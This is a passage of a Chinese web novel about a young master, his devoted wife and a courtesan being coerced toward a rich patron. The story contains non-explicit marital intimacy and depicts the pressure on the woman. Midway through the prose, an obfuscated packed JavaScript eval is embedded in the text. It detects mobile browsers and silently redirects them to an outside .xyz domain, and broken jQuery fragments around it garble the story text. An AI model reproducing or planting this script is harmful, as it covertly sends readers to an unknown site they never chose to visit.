穿好衣袍回头,见她翻了个身,嘴里喃喃着“少爷”,伸手在身侧摸了摸,没摸到人,眉头又蹙起来。肖晨心头一软,走回去坐在床边,握住她空着的手。 她立刻安静下来,嘴角还弯了弯,像是在梦里寻到了安稳。 “我去前院看看,你再睡会儿。”他低声说,明知她听不见。 到了正厅,肖父已经坐在那里喝茶,脸色依旧不好,见了他,只淡淡哼了一声。肖晨垂眸行礼,没提昨晚的争执,只说:“父亲,今日我想处理下铺子的账目。” 肖父抬眼看他,似乎有些意外他转了性子,片刻后才道:“也好,总比在外头惹事强。” 一上午,肖晨都在书房核对账目,心思却总有些飘忽。阿成进来送茶时,他犹豫了下,还是问:“码头那边,没再传来什么消息吧?” “没呢,”阿成压低声音,“我让人盯着了,说刀疤刘倒是真请了丫头伺候,汤药也按时给了,就是……没松口放丁香姑娘走。” 肖晨指尖在账本上顿了顿,“知道了。” 他早料到会这样,那些人贪得无厌,哪会轻易放手。只是该怎么做,才能既不惹祸上身,又能彻底救她出来? 正思忖着,门外传来脚步声,是李傲雪的贴身丫头:“少爷,少奶奶醒了,说想给您送些点心过来。” 肖晨抬头,“让她别过来了,我这就回去。” 回到卧房,李傲雪果然在桌边摆了点心,见他进来,连忙迎上去:“刚做的绿豆糕,您尝尝?” 他拿起一块放进嘴里,清甜软糯,是他喜欢的味道。“手艺越来越好了。” 李傲雪笑靥如花,“您喜欢就好。”她看着他眉宇间的倦色,轻声问,“账很难算吗?看您累着了。” “还好。”肖晨握住她的手,指尖有些凉,“下午我陪你在府里走走吧,总躺着也闷。” 李傲雪眼睛一亮,用力点头:“好啊!” 午后的阳光正好,穿过花架落在两人身上,暖融融的。她挽着他的手臂,脚步轻快,像只快活的小鸟,指着廊下新开的月季给他看:“少爷你看,这朵开得最大!” 肖晨看着她笑靥如花的模样,心头的郁结散了不少。或许,他该学着在这方寸天地里,先守好眼前的安稳。 走了半盏茶的功夫,李傲雪脚步慢下来,脸色微微发白。肖晨立刻察觉,“累了?” “有一点。”她不好意思地笑了笑。 “回去歇着。”他半扶半抱地让她靠在自己身上,往卧房走。 路过月亮门时,李傲雪忽然抬头看他,“少爷,要是……要是那位丁香姑娘需要帮忙,我这里还有些体己钱,您别跟父亲起冲突,好不好?” 肖晨脚步一顿,低头看她。她眼里没有半分计较,只有纯粹的担忧。他喉结滚了滚,握紧了她的手:“好。” 有些温暖,原来真的能消解世间大半的寒凉。 李傲雪被他看得有些不自在,垂下眼睫,脸颊泛起淡淡的红晕,手指不自觉地绞着他的衣袖。方才说那话时全凭一股心意,此刻被他这样专注地望着,倒觉得有些莽撞了。 肖晨却没移开目光。他看着她低垂的眉眼,看着她因羞涩而微微泛红的耳垂,心里忽然涌起一股难以言喻的暖流。她是正经人家的小姐,知书达理,却从不因身份轻贱谁,甚至愿意拿出自己的体己钱去帮一个素未谋面的女子。 这样的她,干净又纯粹,像清晨未被惊扰的露水,美好得让他心头发颤。 他忽然俯身,轻轻托住她的后颈,低头吻了下去。 李傲雪浑身一僵,随即像被抽走了所有力气,软软地靠在他怀里。他的吻不同于往日的浅尝辄止,带着几分克制的珍重,还有藏不住的疼惜,轻轻辗转厮磨。 她闭上眼,睫毛微微颤抖,双手试探着环住他的腰,将脸埋得更深。鼻尖萦绕着他身上清冽的皂角香,混着淡淡的墨香,让她莫名安心。 肖晨吻了很久,直到她呼吸有些不稳,才稍稍退开,额头抵着她的,声音带着微哑的喟叹:“傲雪……” 李傲雪抬头,眼里蒙着层水汽,像含着两汪清泉,懵懂又羞怯地望着他。 他忍不住又在她唇上啄了一下,指尖轻轻拂过她的脸颊:“你怎么这么好。” 这话说得直白,却让李傲雪的心像被浸在蜜里,甜得发胀。她咬着唇,小声道:“能对少爷好,是我的福气。” 肖晨没再说话,只是收紧手臂,将她紧紧抱在怀里。阳光透过枝叶洒在两人身上,暖得像一层薄纱。他忽然觉得,那些纠缠的烦恼似乎都远了些,此刻只想抱着怀里的人,好好疼她,护着她,让她永远这样安稳地笑着。 “走吧,回房去。”他松开她,牵起她的手,掌心相贴的地方,暖得发烫。 李傲雪乖乖跟着他走,脚步轻快,嘴角的笑意怎么也藏不住。她知道,从这一刻起,他们之间似乎有什么东西,变得不一样了。 两个人回到房间,刚关上门,肖晨就转身将李傲雪抵在门板上,低头又吻了下去。 这次的吻比方才在院里更急些,带着点压抑不住的热意,像要将她整个人都揉进骨血里。李傲雪被他吻得呼吸一窒,随即软了身子,只能抬手攀着他的肩,任由他带着自己沉沦。 她能感觉到他指尖的微颤,还有他身上传来的热度,烫得她心尖发颤。这位平日里温文尔雅的少爷,此刻倒像变了个人,大胆得让她心慌,却又忍不住沉溺。 “少……爷……”她在吻的间隙,气息不稳地轻唤,脸颊红得能滴出血来。 肖晨稍稍退开些,额头抵着她的,鼻尖蹭着她的鼻尖,呼吸交缠在一起。他看着她水汽氤氲的眼,哑声道:“傲雪……” 李傲雪望着他眼底的自己,那里面映着她泛红的脸颊,还有他毫不掩饰的珍视。心头一软,她主动踮起脚,轻轻吻了吻他的唇角。 这个动作像点燃了引线,肖晨低笑一声,拦腰将她抱起。李傲雪惊呼一声,下意识搂住他的脖子,脸颊贴在他胸口,能清晰地听见他有力的心跳。 他将她轻轻放在床上,俯身吻去,从眉眼到唇角,再到颈侧,温柔又缠绵。李傲雪闭上眼,感受着他的触碰,身上的衣裳被他指尖轻轻解开,带着凉意的空气拂过肌肤,却很快被他的热度覆盖。 帐子被他随手放下,隔绝了窗外的光,只留下满室的温情。她能感觉到他的小心翼翼,带着疼惜,带着珍视,让她彻底放下了所有拘谨。 原来被人这样放在心尖上疼着,是这样熨帖的滋味。她抬手搂住他的背,将自己更深地送进他怀里,在他耳边轻轻哼了一声,像只温顺的小兽。 肖晨低笑,吻落在她发顶,声音温柔得能化开:“乖……” 帐内的烛火摇曳,将相拥的身影投在锦缎帐面上,忽明忽暗。 李傲雪的指尖微微蜷缩,抵在肖晨的肩头,感受着他掌心的温度顺着肌肤蔓延开来,暖得像春日里的阳光。他的吻不再像方才那般急切,变得温柔绵长,带着小心翼翼的珍视,仿佛她是易碎的琉璃,稍一用力便会碎裂。 “别怕。”他在她耳边低语,气息拂过耳廓,带着滚烫的暖意。 李傲雪轻轻“嗯”了一声,睫毛上沾着细碎的水汽,像晨露落在花瓣上。她能感觉到他的克制,那些隐忍的情愫透过每一次触碰传递过来,让她心头又软又胀。原来被人这样放在心尖上疼惜,是如此安稳的滋味。 她不再拘谨,抬手环住他的脖颈,将脸颊贴在他汗湿的颈窝,感受着他有力的心跳。那声音沉稳而坚定,像给她吃了定心丸,让她彻底放下了所有防备。 肖晨感受到她的回应,动作愈发轻柔。他替她拨开散落在颊边的碎发,指尖拂过她泛红的眼角,那里还带着未褪的羞怯。他忽然觉得,过往所有的辗转难眠,所有的身不由己,在这一刻都有了归宿。 窗外的月光不知何时变得明亮,透过窗棂洒进帐内,在两人交叠的肌肤上镀上一层银辉。李傲雪微微睁开眼,看见肖晨正望着自己,眼底的温柔像化不开的春水,映着她的模样。 她忽然笑了,眉眼弯弯,像含着两汪清泉。 肖晨被她这一笑晃了神,低头在她唇角印下一个轻吻,声音低哑:“笑什么?” “觉得……很安心。”她轻声说,往他怀里缩了缩,像只寻求庇护的小兽。 肖晨收紧手臂,将她抱得更紧些,仿佛要将她嵌进自己的骨血里。“以后,都会让你这么安心。” 这句话说得轻,却带着不容置疑的坚定。 烛火渐渐弱了下去,帐内的呼吸声渐渐变得绵长。李傲雪枕在肖晨的臂弯里,听着他平稳的心跳,很快便沉沉睡去,嘴角还带着浅浅的笑意。 肖晨却睁着眼,借着月光看着她恬静的睡颜。怀里的人温软得像团棉花,让他舍不得松开分毫。他知道前路依旧有诸多牵绊,但此刻,他只想守着这份温暖,护着怀里的人,让她永远这样安稳无忧。 他低头,在她发顶印下一个轻柔的吻,然后缓缓闭上眼,将所有的纷扰暂时抛在脑后。 至少今夜,岁月是温柔的。 天刚亮透,李傲雪就先醒了。身侧的人还睡着,眉头舒展,没了往日的沉郁,侧脸在晨光里显得格外温和。她悄悄起身,动作轻得像片羽毛,生怕扰了他的好觉。 等肖晨睁开眼时,房间里已经飘着淡淡的皂角香。李傲雪端着铜盆进来,见他醒了,脸上立刻漾起笑意:“少爷醒了?水刚温好,正好洗漱。” 她伺候他擦脸,动作轻柔,指尖偶尔触到他的下颌,会像受惊的小鹿般立刻收回,脸颊却悄悄泛红。肖晨看着她低头绞毛巾的模样,鬓边的碎发垂下来,遮住一点眉眼,温顺得让人心头发软。 换衣时,李傲雪踮脚替他系腰带,发丝不经意扫过他的颈侧,带着点淡淡的香气。肖晨忽然握住她的手,她一愣,抬头望他,眼里满是懵懂。 他抬手,轻轻托住她的下巴,指尖摩挲着她细腻的肌肤。晨光透过窗棂落在她脸上,绒毛都看得清晰,那双眼睛亮得像含着水光。 “有你这样的妻子,”他声音低沉,带着笑意,“我真是赚到了。” 李傲雪愣住,脸颊瞬间红透,想低下头,却被他轻轻托着下巴,躲不开。 “从来没有人对我这么上心过。”他看着她的眼,认真地说。现代没人爱,这世穿越而来,身边虽有家人,却总隔着层身份规矩,唯有眼前这个人,把他放在心尖上,事事周到,处处妥帖。 李傲雪的眼眶忽然就红了,她吸了吸鼻子,声音带着点鼻音:“能伺候少爷,是我的本分……也是我的心愿。” 她以为自己做得还不够好,总怕哪里不合他心意,却没想到,在他心里竟是这样的。 肖晨见她要哭,失笑一声,松开手,替她拭去眼角的泪:“怎么还哭了?” “没、没有。”她连忙摇头,用帕子擦了擦脸,却忍不住笑了出来,眼里的光比窗外的晨光还要亮。 “好了,”肖晨捏了捏她的脸颊,“再磨蹭,早饭该凉了。” “嗯!”李傲雪用力点头,转身要去端早饭,却被他拉住。 “一起去。”他牵起她的手,掌心相贴,暖得很。 李傲雪乖乖跟着他走,脚步轻快得像踩着云。她知道,往后的日子,一定会越来越好的。 晨光透过窗棂,洒在正厅的红木餐桌上。肖晨和李傲雪并肩站着,给肖父肖母请了安,才在桌边坐下。 丫鬟们陆续端上早饭,小米粥冒着热气,配着几碟清爽的小菜和刚出炉的酥饼,香气袅袅。 李傲雪细心地给肖晨盛了碗粥,又夹了块他爱吃的糖糕放在碟子里,动作自然妥帖。肖晨看在眼里,嘴角噙着淡淡的笑意。 肖父喝了口粥,放下碗,看向两人道:“我今天要出门一趟,大概得去半个月,南边有笔生意要亲自盯着。” 肖晨抬眸:“父亲一路保重,需要带些什么?让阿成提前备好。” “不用,都安排妥当了。”肖父摆摆手,目光扫过肖晨,又落在李傲雪身上,语气缓和了些,“家里的事,就交给你们俩了。铺子那边要是有拿不定主意的,就让账房先生先记着,等我回来再说。” “是,父亲放心。”肖晨应道。 李傲雪也连忙起身,福了福身:“儿媳会好好打理家事,照顾好少爷,等父亲回来。” 肖父点点头,没再多说,拿起筷子继续吃饭。桌上一时只有碗筷轻碰的声响,却比往日多了几分平和。 饭后,肖父便带着几个随从动身了。看着马车驶出院门,肖母叹了口气:“你父亲就是操心的命,一把年纪了还总往外跑。” “娘放心,父亲心里有数。”肖晨安慰道。 回房的路上,李傲雪小声问:“少爷,家里的事,我要是有哪里做得不好,您可得告诉我。” 肖晨看她紧张的样子,忍不住笑了:“放心,有我在呢。你只要好好照顾自己,比什么都强。” 李傲雪看着他温和的眉眼,心里踏实了不少,用力点了点头。阳光落在两人牵着的手上,暖得像裹了层蜜糖。她忽然觉得,就算父亲不在,有他在身边,好像什么都不用怕了。 肖母掀帘进来时,正见肖晨帮李傲雪整理鬓边的碎发,两人凑得近,晨光里的影子都透着亲昵。她脚步顿了顿,嘴角忍不住漾起笑意。 “娘。”李傲雪先看见了,连忙红着脸退开半步,福了福身。 肖晨也转过身:“娘怎么过来了?” “来看看你们起了没。”肖母走到桌边坐下,目光在两人身上转了圈,笑着道,“你父亲这一走,家里倒松快些。你也不用总闷在房里,一会儿先生就该到了,去书房接着读书吧,别荒了学业。” 她知道儿子前阵子因为外面的事分心,如今家里太平,正好收收心。 肖晨应道:“知道了娘。” “傲雪呢,”肖母又看向儿媳,语气温和,“要是闷得慌,就去花园里走走,或者跟下人们学学打理家事,不用总守着他。” 李傲雪红着脸点头:“嗯,听娘的。” 肖母又叮嘱了几句,无非是让他们互相照拂,才笑着离开了。 等肖母走后,李傲雪替肖晨拿过书卷,小声道:“那我送您去书房?” “好。”肖晨接过书卷,却没立刻走,反而牵起她的手,“等先生讲完课,我回来陪你用午膳。” 李傲雪眼睛一亮,用力点头:“嗯!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993194|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看着他往书房去的背影,她站在门口,手还微微发烫。原来被婆母这样疼惜,被夫君这样记挂,是这样安稳的滋味。阳光落在阶前的花丛上,亮得晃眼,她忍不住弯了弯唇角,转身往厨房去——该让人炖些肖晨爱喝的冰糖雪梨了,先生讲课费嗓子呢。 李傲雪转身去了小厨房,让婆子炖上冰糖雪梨,自己则搬了张绣架坐在廊下。阳光透过花架洒下来,落在绣绷上那半朵未完成的玉兰花上,丝线泛着柔和的光。 她手里拈着针,心思却有些飘忽。想着肖晨在书房读书的样子,定是眉头微蹙,神情专注,偶尔会抬手揉一揉眉心——她见过好几次了,总觉得那样的他,既清隽又带着点让人想靠近的温软。 “少奶奶,这花绣得真好。”旁边择菜的张妈笑着夸了句,“瞧这针脚,比绣坊里的师傅还匀净。” 李傲雪脸颊微红,低下头继续绣:“张妈取笑我了。” “哪能呢,”张妈凑近了些,“少爷要是见了,保准喜欢。” 提到肖晨,她嘴角忍不住弯了弯,手下的针脚更细了些。是啊,他要是看见了,会喜欢吗? 书房里,肖晨正听先生讲解《论语》,心思却时不时飘到廊下。想着傲雪坐在那里绣花的样子,阳光落在她发上,定是好看得紧。他拿起笔,想在纸上写些什么,笔尖悬了半天,落下的却是“傲雪”二字,笔画轻软,带着自己都未察觉的温柔。 先生讲得投入,没注意他的走神,只自顾自说着。肖晨回过神,连忙收了心思,认真听着,只是嘴角那点笑意,怎么也压不下去。 临近午时,先生才起身告辞。肖晨送他到门口,转身就往回走,脚步都轻快了些。刚拐过月亮门,就看见李傲雪站在廊下,手里捧着个食盒,见他来,眼睛立刻亮了。 “少爷,先生走了?” “嗯。”肖晨走到她面前,“等很久了?” “没有,刚炖好呢。”她打开食盒,里面是一盅冰糖雪梨,甜香扑鼻,“给您润润喉。” 肖晨接过,舀了一勺尝了尝,甜而不腻,正好。“手艺越来越好了。” 李傲雪笑靥如花,跟在他身后往房里走:“那我明天给您做莲子羹?” “好啊。” 舱房换了间干净的,窗棂上还别着两朵不知谁摘的小雏菊,添了点生气。丁香坐在窗边,手里捧着碗温热的药汤,脸色比前几日红润了些,只是眉宇间那抹郁色依旧未散。 伺候她的小丫鬟端来点心,见她望着窗外发呆,忍不住开口:“姑娘,您这身子眼看着好起来了,该高兴才是。” 丁香收回目光,淡淡“嗯”了一声。 小丫鬟犹豫了下,还是忍不住问:“我听刀疤刘他们说,肖公子……肖公子是想帮您赎身的,您怎么就拒绝了呢?”她打心眼儿里觉得,能离开这地方,是天大的福气。 丁香端着药碗的手微微一颤,药汁晃出几滴,落在手背上,烫得她指尖蜷缩。她垂眸看着碗里褐色的药汤,声音轻得像叹息:“这里是什么地方?是卖笑的窑子。我们这些人,不过是他们手里的摇钱树,老大怎么可能轻易放过我?” 她太清楚这里的规矩了,进来容易,出去难,除非有天大的价钱,或是命没了,否则一辈子都得被困在这泥潭里。 “可肖公子是真心想帮您啊。”小丫鬟急道。 “正因为他真心,我才不能答应。”丁香抬起眼,眼底蒙着层水汽,“上次为了我,他已经吃了那么多苦,差点连命都没了。我已经拖累他一次,怎么能让他再为我冒险?” 她苦笑一声,指尖划过微凉的窗棂:“更何况,我一个低贱的人,拿什么报答他?他是肖家公子,前途无量,身边该站着像少奶奶那样干净体面的女子,而不是我这样一身污秽的人。” 与其将来给他添麻烦,不如就此断了念想。能被他记挂着,能有这几日安稳的日子,已经是奢望了。 小丫鬟听她这么说,急得脸都红了:“姑娘您别这么说!您跟那些人不一样,您守着清白,琴弹得又好,心里是干净的!只要能离开这儿,找个寻常人家嫁了,好好过日子,怎么就不能是干净人了?” 丁香望着她,眼神里带着点自嘲的笑意:“寻常人家?哪有那么容易。高门大户的门栏高,可就连寻常人家,也未必肯要我们这种地方出来的人。他们嘴上不说,心里却早就把我们当成了不干净的物件。” 她指尖攥紧了衣角,声音发颤:“你以为脱离了这里就真的能干净了?身上的烙印是抹不掉的。那些人看我们的眼神,从来都带着打量和轻贱。我们是他们眼里的玩物,有姿色能赚钱的时候当宝,一旦没了价值……” 她顿了顿,眼底浮起一层寒意:“要么被转卖到更下等的地方,要么就被他们折腾死,连收尸的人都没有。我见过太多了,前两年那个唱曲儿的姐姐,不过是病得重了些,就被老大卖给了山里的老光棍,听说没半年就没了……” 小丫鬟听得脸色发白,张了张嘴,却说不出反驳的话。这花船上的日子,她比谁都清楚,哪有什么真正的出路。 丁香闭上眼,深吸一口气,再睁开时,眼底只剩一片平静:“肖公子的好意我心领了,但我不能再拖累他。他那样的人家,光是我这身份,就能被人戳断脊梁骨。我这条命贱,别再连累了他。” 小丫鬟咬着唇,还想再说些什么:“可……可万一呢?肖公子肯花那么多钱给您治病,说不定心里是有您的。姑娘,您就一点念想都没有吗?我瞧着,您是喜欢他的。” 丁香拿起窗边那朵快蔫了的小雏菊,指尖轻轻捻着花瓣,忽然低低地笑了,眼里却没什么笑意,只有一片清浅的落寞。 “喜欢又能怎样?”她声音轻得像风,“他有妻子,那位少奶奶我远远见过一次,温温柔柔的,配他正好。他们是天造地设的一对,门当户对,名正言顺。” 她将花瓣一片片摘下,落在手心里:“我和他,从来就不是一路人。他是高高在上的肖家公子,我是这花船上的卖艺女,一开始就不对等。能做个知己,偶尔听他说几句话,已经是天大的缘分了,不能再贪心。” “贪心是要遭报应的。”她轻声说,像是在告诫自己,“我不能毁了他的日子,更不能让那位少奶奶伤心。她那么好的人,该被好好疼着的。” 小丫鬟看着她将花瓣撒向窗外,被风一吹就散了,像极了她此刻说的话。舱房里又静下来,只有船身轻微的晃动,带着种无力的飘摇感。 丁香望着窗外那片灰蒙蒙的天,心里清楚,有些念想,从一开始就该掐灭的。能远远看着他安稳度日,就够了。 小丫鬟没再说话,只是默默地收拾起桌上的空药碗。她看着丁香重新坐回窗边,背影清瘦,像株被雨打蔫的兰草,明明有风骨,却只能困在这方寸之地。 过了两日,刀疤刘又来了趟舱房,手里把玩着个玉佩,眼神在丁香身上转来转去:“身子骨利索得差不多了吧?后天有位贵客要过来,点名要听你弹琴,可得好好表现。” 丁香没抬头,只淡淡应了声:“知道了。” 刀疤刘啧了声,似乎想说什么,又没说,转身时丢下句:“别耍花样,不然有你好受的。” 等人走了,小丫鬟才凑过来,压低声音:“姑娘,那位贵客听说出了名的难缠,您……” “没事。”丁香打断她,指尖轻轻划过琴弦,发出一声清越的响,“不过是弹琴罢了,我拿手的。” 她心里清楚,这是躲不过的。刀疤刘既然花了钱给她治病,自然要尽快榨取回报。只是指尖落在琴弦上时,她忽然想起肖晨来。上次他来,她也是这样坐在窗边弹琴,他站在那里听着,眼神温和,像落了层月光。 那时她还以为,或许能有不一样的可能。 可现在看来,终究是她想多了。 她深吸一口气,拨动琴弦,琴声缓缓流淌出来,比往日多了几分清寂,像在诉说着什么,又像什么都没说。 小丫鬟站在一旁听着,只觉得这琴声里藏着太多说不出的委屈,听得人心里发堵。她偷偷抬眼,看见丁香望着窗外,睫毛上似乎沾着什么,亮晶晶的,却很快被她抬手拭去了。 有些路,注定只能一个人走。有些缘,注定只能到知己为止。丁香想,这样或许也挺好,至少在他心里,她还不是那个面目全非的玩物,只是个会弹琴的知己。 这样就够了。 她闭上眼,指尖在琴弦上更快地跳跃,将所有的念想,都藏进了这一曲无声的琴音里。 34. 她无法改变命运,成了货物被卖 到了约定的日子,舱房被重新收拾过,摆上了新换的香炉,燃着清雅的檀香。丁香换了身素色的衣裙,坐在琴前,指尖悬在弦上,却迟迟没动。 小丫鬟替她拢了拢鬓发,低声道:“姑娘,别紧张,就像往常一样就好。” 丁香点了点头,深吸一口气。檀香袅袅升起,模糊了她的眉眼,也仿佛冲淡了些许心底的涩。她闭上眼,再睁开时,指尖已落在琴弦上。 琴声起,起初是平缓的,像江南的流水,静静淌过青石板路。渐渐的,调子转了,添了几分清冽,又藏着不易察觉的怅惘,像月下独酌的人,对着空庭诉说心事。 门外传来脚步声,带着几分酒气的沉缓。刀疤刘谄媚的声音响起:“王老爷,您瞧,小的没骗您吧?丁香姑娘这琴艺,在整个码头上都是数一数二的。” 被称作王老爷的人没说话,只听见座椅被拉动的轻响。 丁香指尖未停,琴声却悄然变了,多了几分疏离的冷意,像在拒绝着什么。她垂着眼,长长的睫毛在眼下投出一片阴影,仿佛周遭的一切都与她无关,只剩下指尖的琴音。 王老爷沉默地听着,半晌才低笑一声:“确实有几分意思。”他的声音带着点沙哑,“抬起头来,让本爷瞧瞧。” 丁香的指尖顿了顿,终究还是依言抬起眼。她的目光平静,没有谄媚,也没有畏惧,就那样淡淡地望着他,像在看一个陌生人。 王老爷眯起眼,打量着她,忽然道:“听说肖家的公子为了你,差点跟家里闹翻?” 丁香的心猛地一紧,面上却依旧平静:“不过是公子仁善,见我可怜罢了。” “仁善?”王老爷嗤笑一声,“肖家那小子,我倒是打过几次交道,看着温吞,骨子里犟得很。能让他这么上心的,你还是头一个。”他端起桌上的酒杯,抿了一口,“说吧,想要什么?只要你把本爷伺候好了,别说赎身,就算让肖家小子娶你做妾,也不是不可能。” 这话像根针,狠狠扎进丁香心里。她攥紧了琴弦,指节泛白,声音却依旧平稳:“多谢老爷抬举,只是民女蒲柳之姿,配不上肖公子,也不敢奢求什么。弹琴便是了。” 说完,她重新低下头,指尖急促地拨动琴弦,琴声陡然变得激昂,带着股不屈的劲儿,像在狂风里挣扎的野草。 王老爷的脸色沉了沉,却没发作,只冷冷地看着她。刀疤刘在一旁急得冒汗,却不敢插嘴。 一曲终了,舱房里静得落针可闻。 丁香站起身,福了福身:“老爷,琴弹完了,民女身子不适,先告退了。” 王老爷没拦她,只看着她的背影消失在门后,才端起酒杯一饮而尽,眼底闪过一丝晦暗不明的光。 刀疤刘连忙凑上来:“老爷,这丫头不懂事,您别往心里去……” “有意思。”王老爷打断他,嘴角勾起一抹意味深长的笑,“肖家那小子,眼光倒是不错。” 刀疤刘愣了愣,没明白他这话里的意思,只陪着笑:“是是,您说得是。” 而另一边,丁香回到自己的舱房,关上门,才顺着门板缓缓滑坐在地。她抬手按住胸口,心跳得厉害,方才王老爷的话像魔咒一样在耳边回响。 做妾?她怎么可能做得到。 她想起李傲雪温和的笑,想起肖晨看着李傲雪时眼里的珍视,那是她从未拥有过的安稳。她怎么能去破坏? 指尖冰凉,她忽然捂住脸,压抑的呜咽声终于忍不住从指缝里溢出来,混着窗外隐约的浪声,碎成了一片。 原来连做个知己,都这般艰难。 王老爷对他们说到,这货色多少钱我买了,刀疤刘脸上的笑僵了僵,搓着手赔笑道:“王老爷,您说笑了。丁香姑娘是我们这儿的头牌,向来只卖艺不卖身,真不是钱的事儿……” 王老爷没看他,指尖敲着桌面,发出“笃笃”的轻响,眼神却像钩子似的锁在刀疤刘身上:“只卖艺?”他嗤笑一声,“在这花船上讨生活,哪有什么只卖艺的道理。无非是价钱没到位罢了。” 他从怀里摸出一叠银票,“啪”地拍在桌上,红得晃眼:“这些,够不够买她一个月的时间?” 刀疤刘的眼直了直,那数目足够他再添两艘新船了。可他想起肖晨之前的警告,又想起丁香那副宁折不弯的性子,额头渗出冷汗:“老爷,这真不是钱的事儿……主要是姑娘性子烈,怕伺候不好您,扫了您的兴……” “性子烈才好。”王老爷拿起一张银票,在指尖捻着,“驯服起来才有滋味。”他抬眼看向刀疤刘,眼神冷了几分,“我知道你们不差钱,尤其是搭上了肖家那条线,更是不在乎这点银子。” 他话锋一转,语气带着点玩味:“可你们别忘了,这码头的规矩,可不是肖家说了算。我想要的人,还没有得不到的。要么,拿着这钱,让她乖乖过来;要么……” 他没说完,但那眼神里的威胁,刀疤刘看得明明白白。王老爷在码头混了这么多年,手底下的手段可比他狠多了,真要硬碰硬,他这点家底根本不够看。 刀疤刘咽了口唾沫,看看桌上的银票,又想想王老爷的手段,心里像被猫抓似的。他知道,这事怕是躲不过去了。 “这……”他支吾着,“小的……小的去跟姑娘说说,劝劝她……” 王老爷满意地笑了笑,收起银票:“给你一个时辰。别让我等太久。” 刀疤刘点头哈腰地退出去,刚走到舱房外,就撞见了小丫鬟。小丫鬟见他脸色难看,心里咯噔一下,刚想问什么,就被他恶狠狠地瞪了一眼:“去,把你家姑娘叫出来!” 小丫鬟吓得缩了缩脖子,连忙跑回舱房。丁香正在擦琴,听见这话,指尖一顿,心里瞬间沉了下去。她知道,该来的,终究还是来了。 丁香放下琴布,指尖微微发颤,却还是强作镇定地站起身。小丫鬟拉着她的衣袖,急得眼圈发红:“姑娘,那刀疤刘看着就没好事,您别去……” “躲不过的。”丁香拍了拍她的手,声音轻得像叹息,“我去去就回。” 她走出舱房,刀疤刘正背着手在廊下踱步,见她出来,脸上堆起假笑,语气却带着不容置疑的强硬:“丁香啊,王老爷瞧得上你是你的福气,那可是咱们得罪不起的主儿。你就……” “我不去。”丁香打断他,抬头望着他,眼神平静得近乎冷漠,“我早就说过,只卖艺不卖身。” “都这时候了还犟什么!”刀疤刘被她噎得火冒三丈,压低声音骂道,“那老王八蛋是什么人?咱们这艘船能不能在码头立足,全看他一句话!你以为你是给谁置气?是想害死我们所有人吗?” 丁香攥紧了衣角,指甲深深嵌进掌心:“我的事,与你们无关。要杀要剐,我自己担着。” “你担着?你怎么担?”刀疤刘气得跳脚,“他要是动怒,先拆的就是咱们这船!到时候不光是你,我们所有人都得喝西北风去!” 两人正僵持着,王老爷的跟班走了过来,不耐烦地催促:“刘爷,我家老爷等急了,人呢?” 刀疤刘脸色一阵青一阵白,看了看丁香,又看了看那跟班,最终咬了咬牙,冲跟班陪笑道:“这就来,这就来,姑娘家脸皮薄,我再劝劝……” 他转头看向丁香,语气软了些,带着哀求:“丁香,算我求你了,就当是为了大家,委屈这一次行不行?事后我多给你些银子,保证不再逼你……” 丁香看着他,又看了看舱房里缩着的小丫鬟,还有远处那些忙碌的伙计,他们脸上或多或少都带着惶恐。她知道,刀疤刘说的是实话,王老爷要动怒,这艘船上的人没一个能好过。 她闭上眼,再睁开时,眼底的光彻底灭了,只剩下一片死寂。 “好。”她轻轻吐出一个字,声音轻得像要被风吹走,“我去。” 刀疤刘明显松了口气,刚想说话,却见丁香转身回了舱房,关上了门。 里面传来一阵轻微的声响,片刻后,门重新打开。她换了身更素净的衣裳,头发梳得整整齐齐,手里抱着那把琴,一步步往外走。 阳光落在她身上,却照不进她眼底的空洞。她走过刀疤刘身边时,脚步没停,像一尊没有灵魂的木偶。 刀疤刘张了张嘴,想说些什么,最终却只化作一声叹息。 跟班满意地笑了,领着丁香往王老爷的舱房走去。廊下的风很大,吹得她的衣袂猎猎作响,像一面破碎的旗。 小丫鬟扒着门缝看着,眼泪无声地淌下来。她知道,从这一刻起,那个会在琴声里藏着温柔的丁香姑娘,可能再也回不来了。 王老爷的舱房里酒气弥漫,他半倚在榻上,手里把玩着个玉扳指,见丁香抱着琴进来,眼皮都没抬一下。 直到她站定在桌前,他才慢悠悠抬眼,目光在她身上扫了一圈,带着毫不掩饰的打量,像在估量一件货物。 “坐。”他指了指对面的椅子。 丁香没动,只将琴放在桌上,指尖按住琴弦,声音平静无波:“老爷想听什么曲子?” 王老爷嗤笑一声,放下扳指,端起酒杯一饮而尽:“曲子就不必了。”他身体前倾,眼神里带着狎昵,“我问你,多少钱,能让你留下来陪我?” 空气仿佛凝固了。丁香垂在身侧的手猛地攥紧,指节泛白。她抬眼看向他,眼底没有愤怒,也没有畏惧,只有一片冰冷的嘲弄。 “你的全部家产。”她一字一顿地说,声音清冽,“我就同意。” 王老爷愣住了,随即爆发出一阵大笑,笑得前仰后合,仿佛听到了什么天大的笑话。“有意思,真是有意思!”他指着丁香,眼里的兴味更浓了,“在这码头上,还没人敢跟我这么说话。” 他站起身,走到她面前,一股浓烈的酒气扑面而来。“你以为我不敢?”他伸手想去捏她的下巴,“只要我一句话,别说你的身子,就是你这条命,也得捏在我手里。” 丁香后退一步,避开他的触碰,抬眼直视着他,眼神里没有丝毫退缩:“那你可以试试。”她的声音很轻,却带着一种玉石俱焚的决绝,“要么,你用全部家产换一夜;要么,就看着我死在你面前。” 她知道自己在赌,赌这个男人的贪婪和自负。他想要的是驯服,是她低头求饶的模样,而不是一具没有生气的尸体。 王老爷的手僵在半空,脸上的笑容淡了下去,眼神变得阴鸷。他死死盯着丁香,仿佛要将她看穿。舱房里静得可怕,只有两人对峙的呼吸声,还有窗外隐约传来的浪涛声。 半晌,他忽然又笑了,只是那笑意没达眼底:“好,好得很。”他重新坐回榻上,端起酒壶给自己倒了杯酒,“看来肖家那小子没看错人,骨头倒是硬。” 他没再提留宿的事,也没再逼她,只挥了挥手:“滚吧。” 